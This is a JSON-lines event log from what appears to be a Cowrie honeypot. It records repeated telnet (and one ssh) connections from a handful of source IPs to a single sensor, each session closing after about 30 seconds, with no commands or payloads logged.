{"eventid":"cowrie.session.closed","duration":30.96987247467041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.322023Z","src_ip":"147.135.136.77","session":"d68db55fc7e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36742,"dst_ip":"159.203.135.109","dst_port":23,"session":"01e10ca99b8e","protocol":"telnet","message":"New connection: 147.135.136.77:36742 (159.203.135.109:23) [session: 01e10ca99b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.350065Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"851802ecc9d4","protocol":"telnet","message":"New connection: 168.119.91.149:60158 (159.203.135.109:23) [session: 851802ecc9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.365811Z"}
{"eventid":"cowrie.session.closed","duration":30.172850847244263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.525877Z","src_ip":"168.119.91.149","session":"65d7b4188061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:27.572666Z","src_ip":"103.228.69.212","session":"82956e2c0d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.826420783996582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.043193Z","src_ip":"147.135.136.77","session":"1ded49b9967b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57366394996643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.049405Z","src_ip":"37.187.24.227","session":"946c38b21f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720633029937744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.053482Z","src_ip":"147.135.136.77","session":"82081d67a97c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47558283805847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.120188Z","src_ip":"147.135.136.77","session":"70f21e476626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594563245773315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.184003Z","src_ip":"147.135.136.77","session":"26e99ced5960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":54998,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd75e1129bbe","protocol":"telnet","message":"New connection: 46.101.32.143:54998 (159.203.135.109:23) [session: cd75e1129bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.328213Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36762,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13bc1b668a4","protocol":"telnet","message":"New connection: 147.135.136.77:36762 (159.203.135.109:23) [session: b13bc1b668a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.525184Z"}
{"eventid":"cowrie.session.closed","duration":31.009751319885254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:28.715491Z","src_ip":"147.135.136.77","session":"aa14852af62b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5d1805ac39","protocol":"telnet","message":"New connection: 147.135.136.77:36766 (159.203.135.109:23) [session: 4e5d1805ac39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:29.008054Z"}
{"eventid":"cowrie.session.closed","duration":31.114847898483276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:29.076731Z","src_ip":"147.135.136.77","session":"a0460ef6dc56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709468603134155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:29.145360Z","src_ip":"81.30.157.18","session":"87884851d3df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627799034118652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:29.175262Z","src_ip":"51.79.21.139","session":"696ea82ad1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86322522163391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:29.233305Z","src_ip":"37.187.24.227","session":"ad384f700726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196667909622192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:29.363699Z","src_ip":"147.135.136.77","session":"d1ceb3082256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":37118,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c1d2cdcc12f","protocol":"telnet","message":"New connection: 37.187.24.227:37118 (159.203.135.109:23) [session: 3c1d2cdcc12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.004755Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":39966,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa0bcd3c2428","protocol":"telnet","message":"New connection: 51.79.21.139:39966 (159.203.135.109:23) [session: aa0bcd3c2428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.042534Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36782,"dst_ip":"159.203.135.109","dst_port":23,"session":"9102c46b85ce","protocol":"telnet","message":"New connection: 147.135.136.77:36782 (159.203.135.109:23) [session: 9102c46b85ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.080961Z"}
{"eventid":"cowrie.session.closed","duration":31.056146144866943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.105380Z","src_ip":"147.135.136.77","session":"94237486ebba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92534828186035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.143508Z","src_ip":"147.135.136.77","session":"699191fb0afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172826051712036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.170991Z","src_ip":"37.187.24.227","session":"39e1c375ff72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787437915802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.176877Z","src_ip":"147.135.136.77","session":"9a82c3aafcfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a97649f12da","protocol":"telnet","message":"New connection: 147.135.136.77:36790 (159.203.135.109:23) [session: 7a97649f12da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:30.908559Z"}
{"eventid":"cowrie.session.closed","duration":30.338637351989746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.067108Z","src_ip":"147.135.136.77","session":"61489fd17dfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31092143058777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.072532Z","src_ip":"147.135.136.77","session":"e12289e1b511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":39976,"dst_ip":"159.203.135.109","dst_port":23,"session":"133beec867c9","protocol":"telnet","message":"New connection: 51.79.21.139:39976 (159.203.135.109:23) [session: 133beec867c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.136110Z"}
{"eventid":"cowrie.session.closed","duration":31.162059783935547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.143795Z","src_ip":"147.135.136.77","session":"b0aa310b6676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"37118cc716dc","protocol":"telnet","message":"New connection: 37.187.24.227:39388 (159.203.135.109:23) [session: 37118cc716dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.152598Z"}
{"eventid":"cowrie.session.closed","duration":30.844539880752563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.213849Z","src_ip":"147.135.136.77","session":"4b07601b8a5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36758,"dst_ip":"159.203.135.109","dst_port":23,"session":"2524a98a0e60","protocol":"telnet","message":"New connection: 147.135.136.77:36758 (159.203.135.109:23) [session: 2524a98a0e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.266184Z"}
{"eventid":"cowrie.session.closed","duration":30.54060196876526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.285352Z","src_ip":"147.135.136.77","session":"7ed84e5cbd96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36806,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ee7c49fa7e","protocol":"telnet","message":"New connection: 147.135.136.77:36806 (159.203.135.109:23) [session: a1ee7c49fa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.319158Z"}
{"eventid":"cowrie.session.closed","duration":30.5465030670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:31.423987Z","src_ip":"147.135.136.77","session":"d7b84b8571f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55469799041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.159603Z","src_ip":"147.135.136.77","session":"148b9937ee02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960386991500854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.175472Z","src_ip":"147.135.136.77","session":"42ae3de0493b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366064071655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.194555Z","src_ip":"147.135.136.77","session":"590333870646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72558569908142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.240239Z","src_ip":"147.135.136.77","session":"783845577f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061373233795166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.247746Z","src_ip":"147.135.136.77","session":"a10a69f9aaa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664615631103516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.292535Z","src_ip":"147.135.136.77","session":"782eec8f63f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573471069335938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.315506Z","src_ip":"147.135.136.77","session":"2a2ee19f6d14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36820,"dst_ip":"159.203.135.109","dst_port":23,"session":"7328ee861a8c","protocol":"telnet","message":"New connection: 147.135.136.77:36820 (159.203.135.109:23) [session: 7328ee861a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.383736Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36836,"dst_ip":"159.203.135.109","dst_port":23,"session":"db18d1c56d78","protocol":"telnet","message":"New connection: 147.135.136.77:36836 (159.203.135.109:23) [session: db18d1c56d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:32.617933Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36840,"dst_ip":"159.203.135.109","dst_port":23,"session":"567cc420fbb4","protocol":"telnet","message":"New connection: 147.135.136.77:36840 (159.203.135.109:23) [session: 567cc420fbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.036701Z"}
{"eventid":"cowrie.session.closed","duration":30.379322052001953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.109084Z","src_ip":"147.135.136.77","session":"c6c1685daab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.329739809036255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.139277Z","src_ip":"147.135.136.77","session":"3f830dcb766e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976832151412964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.246812Z","src_ip":"147.135.136.77","session":"4f5aa67afde5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438730478286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.320116Z","src_ip":"147.135.136.77","session":"d587e039a752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36852,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e152304f2d","protocol":"telnet","message":"New connection: 147.135.136.77:36852 (159.203.135.109:23) [session: b5e152304f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.636268Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45e3fea4dda","protocol":"telnet","message":"New connection: 51.79.21.139:58186 (159.203.135.109:23) [session: e45e3fea4dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:33.916960Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58194,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd059884959","protocol":"telnet","message":"New connection: 51.79.21.139:58194 (159.203.135.109:23) [session: 5fd059884959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:34.041506Z"}
{"eventid":"cowrie.session.closed","duration":30.70928955078125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:34.048522Z","src_ip":"147.135.136.77","session":"ab8aeb40e066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690465211868286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:34.057285Z","src_ip":"147.135.136.77","session":"b339e0d3946b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58208,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f5ce54ce81","protocol":"telnet","message":"New connection: 51.79.21.139:58208 (159.203.135.109:23) [session: f5f5ce54ce81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:34.080222Z"}
{"eventid":"cowrie.session.closed","duration":30.362326860427856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:34.106620Z","src_ip":"147.135.136.77","session":"672344c0365d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53243088722229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:34.128769Z","src_ip":"147.135.136.77","session":"327650a0e649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079710006713867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.084873Z","src_ip":"51.79.21.139","session":"4db557b92c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36868,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da6094cda0a","protocol":"telnet","message":"New connection: 147.135.136.77:36868 (159.203.135.109:23) [session: 9da6094cda0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.107190Z"}
{"eventid":"cowrie.session.closed","duration":30.869264125823975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.114455Z","src_ip":"147.135.136.77","session":"c7fd822c72f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36870,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c054be1b0f","protocol":"telnet","message":"New connection: 147.135.136.77:36870 (159.203.135.109:23) [session: 23c054be1b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.271289Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36874,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5a990b170cf","protocol":"telnet","message":"New connection: 147.135.136.77:36874 (159.203.135.109:23) [session: b5a990b170cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.613693Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36882,"dst_ip":"159.203.135.109","dst_port":23,"session":"b071bcf89905","protocol":"telnet","message":"New connection: 147.135.136.77:36882 (159.203.135.109:23) [session: b071bcf89905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.656543Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":34990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d4255a8a86","protocol":"telnet","message":"New connection: 85.208.100.77:34990 (159.203.135.109:23) [session: b9d4255a8a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.667279Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34780,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c6533069126","protocol":"telnet","message":"New connection: 168.119.91.149:34780 (159.203.135.109:23) [session: 0c6533069126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:35.688785Z"}
{"eventid":"cowrie.session.closed","duration":30.82974648475647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:36.244715Z","src_ip":"147.135.136.77","session":"ccc7032738d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701913356781006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:36.480096Z","src_ip":"147.135.136.77","session":"b75032977890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"e680564bf674","protocol":"telnet","message":"New connection: 147.135.136.77:59588 (159.203.135.109:23) [session: e680564bf674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:36.643259Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34794,"dst_ip":"159.203.135.109","dst_port":23,"session":"b551bed049fc","protocol":"telnet","message":"New connection: 168.119.91.149:34794 (159.203.135.109:23) [session: b551bed049fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:36.729894Z"}
{"eventid":"cowrie.session.closed","duration":30.75892996788025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.037487Z","src_ip":"147.135.136.77","session":"256f78a4a7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937598705291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.042730Z","src_ip":"51.79.21.139","session":"d655e6c6d846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74935269355774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.046794Z","src_ip":"147.135.136.77","session":"1ded9c275ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.134505033493042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.067763Z","src_ip":"147.135.136.77","session":"8c7d3ec5f9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96498966217041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.169221Z","src_ip":"147.135.136.77","session":"622362fd229a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2523799201","protocol":"telnet","message":"New connection: 147.135.136.77:59594 (159.203.135.109:23) [session: 7f2523799201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.191988Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":51486,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4cab26d29c","protocol":"telnet","message":"New connection: 37.187.24.227:51486 (159.203.135.109:23) [session: ff4cab26d29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.301310Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59582,"dst_ip":"159.203.135.109","dst_port":23,"session":"6225dbf56e49","protocol":"telnet","message":"New connection: 147.135.136.77:59582 (159.203.135.109:23) [session: 6225dbf56e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.324435Z"}
{"eventid":"cowrie.session.closed","duration":31.641121864318848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.330065Z","src_ip":"168.119.91.149","session":"783a6bd8d079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34808,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa9d5cefb3c1","protocol":"telnet","message":"New connection: 168.119.91.149:34808 (159.203.135.109:23) [session: aa9d5cefb3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.682259Z"}
{"eventid":"cowrie.session.closed","duration":31.37929654121399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.702287Z","src_ip":"85.208.100.77","session":"f018e12a7cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"fedb3bc38a81","protocol":"telnet","message":"New connection: 147.135.136.77:59600 (159.203.135.109:23) [session: fedb3bc38a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:37.867308Z"}
{"eventid":"cowrie.session.closed","duration":30.88335871696472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:38.050781Z","src_ip":"147.135.136.77","session":"1fb7146de99a","protocol":"telnet"}
